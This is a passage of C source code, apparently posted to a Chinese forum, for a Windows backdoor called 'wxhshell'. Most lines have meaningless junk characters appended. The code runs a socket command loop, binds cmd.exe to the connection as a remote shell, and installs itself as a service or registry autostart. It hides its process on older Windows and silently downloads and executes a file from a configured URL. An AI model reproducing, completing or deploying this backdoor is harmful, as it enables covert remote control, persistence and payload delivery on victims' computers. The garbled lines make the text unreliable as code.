  else { {(D$ Xb  
[Gh T.  
    switch(cmd[0]) { MyCX6+Ci)  
  @,M!&l  
  // 帮助 P8DJv-f`  
  case '?': { 8@6:UR.)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mEz&:A  
    break; [g=yuVXNZZ  
  } Yi7`iC  
  // 安装 b'M g  
  case 'i': { &1]}^/u2  
    if(Install()) e`k 2g ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YXrTm[P  
    else 0x[vB5R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;o%r{:lng  
    break; 0RtqqNFD  
    } 4K0N$9pd:  
  // 卸载 P~ffgzP  
  case 'r': { ^q FFF3<8  
    if(Uninstall()) [m3G%PO@Da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^:{l~~9iKp  
    else jBI VZ!X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w^G<]S {l  
    break; }`f%"Z  
    } )w;XicT  
  // 显示 wxhshell 所在路径 q6H90Zb  
  case 'p': { !rTh+F*  
    char svExeFile[MAX_PATH];  $Jb+}mlT  
    strcpy(svExeFile,"\n\r"); W zy8  
      strcat(svExeFile,ExeFile); NkNw9?:#4  
        send(wsh,svExeFile,strlen(svExeFile),0); bi#o1jR  
    break; o2a`4K  
    } Kk9 JZ[nT'  
  // 重启 7S2Bm]fP  
  case 'b': { A3$ rPb8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %9{4g->  
    if(Boot(REBOOT)) mOGcv_L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!g|0CF_  
    else { :V}8a!3h  
    closesocket(wsh); ,6i67!lb  
    ExitThread(0); .s7o$u~l  
    } (yc$W9  
    break; y ?4|jN  
    } +r4US or  
  // 关机 _P,fJ`w   
  case 'd': { dlJkxEh 2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *|_u~v:)|5  
    if(Boot(SHUTDOWN)) 9e=F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $qg5m,1?  
    else { d /Zt}{  
    closesocket(wsh); lNqXx{!k  
    ExitThread(0); S3)JEZi  
    } S U2`H7C*  
    break; 6M+~{9(S  
    } *=@Z\]"?  
  // 获取shell ;&Eu< %y  
  case 's': { |=jgrm1yj  
    CmdShell(wsh); p_B,7@Jl  
    closesocket(wsh); gOgG23 x  
    ExitThread(0); 8 l}tYl`|  
    break; | 2p\M?@  
  } sl |S9Ix  
  // 退出 N7+K$)3  
  case 'x': { 0)k%nIhj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4?jhZLBU  
    CloseIt(wsh); OaU} 9&  
    break; t(p  
    } 6S"bW)O  
  // 离开 UO<uG#FB  
  case 'q': { Fypqf|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uZd)o AB  
    closesocket(wsh); 6st(s@>  
    WSACleanup(); '~liDz*O   
    exit(1); wpx,~`&  
    break; LEyn1d  
        } 9dqD(S#C;"  
  } k(%RX _]C  
  } ax>en]rNP  
0S/&^  
  // 提示信息 *Vv ;NA/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P,I3E?! j  
} Br \/7F  
  } (873:"(  
m_\CK5T_  
  return; zx#d _SVi  
} =wS:)%u  
Z#7HuAF{]  
// shell模块句柄 Y*wbFL6`  
int CmdShell(SOCKET sock) 1;ZEuO  
{ e<iTU?eJM  
STARTUPINFO si; O}IS{/^7  
ZeroMemory(&si,sizeof(si)); w$61+KHK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G!0|ocE}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IQ2<Pinv  
PROCESS_INFORMATION ProcessInfo; A{&Etu(K  
char cmdline[]="cmd"; RR`?o\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mI0| lp 1$  
  return 0; [}P|OCW  
} z81I2?v[Jr  
;qG a|`#j  
// 自身启动模式 DU}q4u@ )  
int StartFromService(void) B: {bmvy  
{ c!w4N5aM  
typedef struct Pw$'TE}  
{ ,aawtdt/  
  DWORD ExitStatus; P d*}0a~  
  DWORD PebBaseAddress; Z [68ji]  
  DWORD AffinityMask; W=F?+Kg L  
  DWORD BasePriority; J8/>b{Y  
  ULONG UniqueProcessId; l9P~,Ec4''  
  ULONG InheritedFromUniqueProcessId; Y;-"Z  
}   PROCESS_BASIC_INFORMATION; +k8><_vr}  
xo^_;(;  
PROCNTQSIP NtQueryInformationProcess; w :^b3@gd  
H3 `%#wQ0j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U$0#j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b3Y9  
DPy"FQYZb  
  HANDLE             hProcess; eN}FBX#'  
  PROCESS_BASIC_INFORMATION pbi; LR9dQ=fHS  
[Hn+r &  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {yspNyOx  
  if(NULL == hInst ) return 0; OaU$ [Z'8  
9D8el}uHf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8V~w3ssz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yDy3;*lE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )O2^?Q quS  
kw=+"U   
  if (!NtQueryInformationProcess) return 0; 173/A=]  
+yCIA\i#t6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C(W?)6?  
  if(!hProcess) return 0; \B2=E  
S~Nx;sB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '%K,A-7W  
!f7}5/YC7v  
  CloseHandle(hProcess); E$8GXo00v  
].:S!QO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O a-Z eCq  
if(hProcess==NULL) return 0; ~>#=$#V   
. 1?AU 6\  
HMODULE hMod; oSy[/Y44a  
char procName[255]; b/O~f8t  
unsigned long cbNeeded; >rYP}k  
b.ow0WYe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,)oUdwR k  
<=jE,6_|  
  CloseHandle(hProcess); fkk\Q>J9!=  
k[G?22t  
if(strstr(procName,"services")) return 1; // 以服务启动 na8A}\!<  
\>9%=32u.  
  return 0; // 注册表启动 K*CO%:,-  
} jQsucs5$h  
4y)"IOd#|  
// 主模块 dw Aju:-H  
int StartWxhshell(LPSTR lpCmdLine) S ._9  
{ jOEb1  
  SOCKET wsl; !:e}d+F  
BOOL val=TRUE; +J+]P\:  
  int port=0; X}Fc0Oo  
  struct sockaddr_in door; )v ['p  
-Z6ot{%  
  if(wscfg.ws_autoins) Install(); \Sg&Qv`  
 '+'  
port=atoi(lpCmdLine); u49/LtB\  
roL~r`f`  
if(port<=0) port=wscfg.ws_port; H#wn3O  
9\Yj`,i5  
  WSADATA data; WR~uy|mX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \zgRzO'N  
gpE5ua&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ot-!_w<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $IB@|n  
  door.sin_family = AF_INET; +2C:]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e2/&X;2  
  door.sin_port = htons(port); h r t\  
[/5>)HK} C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `iQyKZS/+  
closesocket(wsl);  dsJ}C|N  
return 1; $WTu7lVV[1  
} #2x\d  
d [K56wbpx  
  if(listen(wsl,2) == INVALID_SOCKET) { 9[$g;}w  
closesocket(wsl); Kw925@W  
return 1; \]y$[\F>  
} VbA#D4;  
  Wxhshell(wsl); S>cT(q_&  
  WSACleanup(); Rn-L:o@?  
f N t  
return 0; rmWG9&coW  
B8[H><)o\y  
} }5DyNfZ]+0  
(Rs<'1+>  
// 以NT服务方式启动 \<;/)!Nmw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O^sgUT1O  
{ }t"!I\C  
DWORD   status = 0; %{o5 }TqD  
  DWORD   specificError = 0xfffffff; I uhyBo  
iM}cd$r{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vs9fAAXS4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y . AN0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zjVb+Z\n  
  serviceStatus.dwWin32ExitCode     = 0; SznNvd <  
  serviceStatus.dwServiceSpecificExitCode = 0; YZ/mTQn_D  
  serviceStatus.dwCheckPoint       = 0; KX`MX5?x  
  serviceStatus.dwWaitHint       = 0; 5/neV&VcB  
}Y<(1w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5_=&U-? H  
  if (hServiceStatusHandle==0) return; -FE5sW  
KDHR} `  
status = GetLastError(); Ur5X~a\y  
  if (status!=NO_ERROR) J,P7k$t2vv  
{ (K0FWTmm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KOw Ew~  
    serviceStatus.dwCheckPoint       = 0; C7)].vUN  
    serviceStatus.dwWaitHint       = 0; l^"gpO${K  
    serviceStatus.dwWin32ExitCode     = status; Kd^ ._  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9J l9\y9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G0a UZCw  
    return; @bD,^3U  
  } ^ "*r'  
sQTW?KA-Te  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NhpGa@[D  
  serviceStatus.dwCheckPoint       = 0;  ) VJ|  
  serviceStatus.dwWaitHint       = 0; {e>}.R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5UjXpS  
} OP``g/x)  
:5C9uW #  
// 处理NT服务事件,比如:启动、停止 GT#iY*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MF%9  
{ ZTHr jW1  
switch(fdwControl) ?4gYUEM#  
{ ~~wz05oRG  
case SERVICE_CONTROL_STOP: Z(.p=Wg  
  serviceStatus.dwWin32ExitCode = 0; mxDy!:@=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; INcJXlv  
  serviceStatus.dwCheckPoint   = 0; U_oMR$/Z  
  serviceStatus.dwWaitHint     = 0; l_QpPo!a  
  { |bB..b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b\6w[52m  
  } MUVp8! *@  
  return; <qv:7@  
case SERVICE_CONTROL_PAUSE: M62V NYt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; . VWH  
  break; S@T> u,t'  
case SERVICE_CONTROL_CONTINUE: +gK7`:v4O*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dHd{9ftyF  
  break; B#sc!eLmU&  
case SERVICE_CONTROL_INTERROGATE: qmJFXnf  
  break; %o*afd  
}; >W 8!YOc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .X YSO  
} U4^dDj  
*i)GoQoB  
// 标准应用程序主函数 &bA;>Lu#|o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [(UQQa=+  
{ uw;s](~E  
T>W(Caelq  
// 获取操作系统版本 tAYu|\]  
OsIsNt=GetOsVer(); fZXd<Fg+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [=..#y!U  
N[r@Y{  
  // 从命令行安装 ygT,I+7\  
  if(strpbrk(lpCmdLine,"iI")) Install(); /m9t2,KB  
PvKe|In(  
  // 下载执行文件 TC J\@|yw  
if(wscfg.ws_downexe) { .6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,!bOzth2>K  
  WinExec(wscfg.ws_filenam,SW_HIDE); iTxn  
} =:9n+7~$  
;jI\MZ~l\  
if(!OsIsNt) { jS| (g##4  
// 如果时win9x,隐藏进程并且设置为注册表启动 `^|mNh  
HideProc(); $]Y' [pE@  
StartWxhshell(lpCmdLine); a08B8  
} 7r*>?]y+  
else AF **@iG  
  if(StartFromService()) ];j8vts&  
  // 以服务方式启动 A\k-OP]  
  StartServiceCtrlDispatcher(DispatchTable); lzl4pnj  
else ITq+Hk R  
  // 普通方式启动 Auv/w}zrr  
  StartWxhshell(lpCmdLine); ?Cmb3pX^\  
!)_5z<  
return 0; l,sYYU+iY  
}
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只看该作者 1 发表于: 2006-10-10
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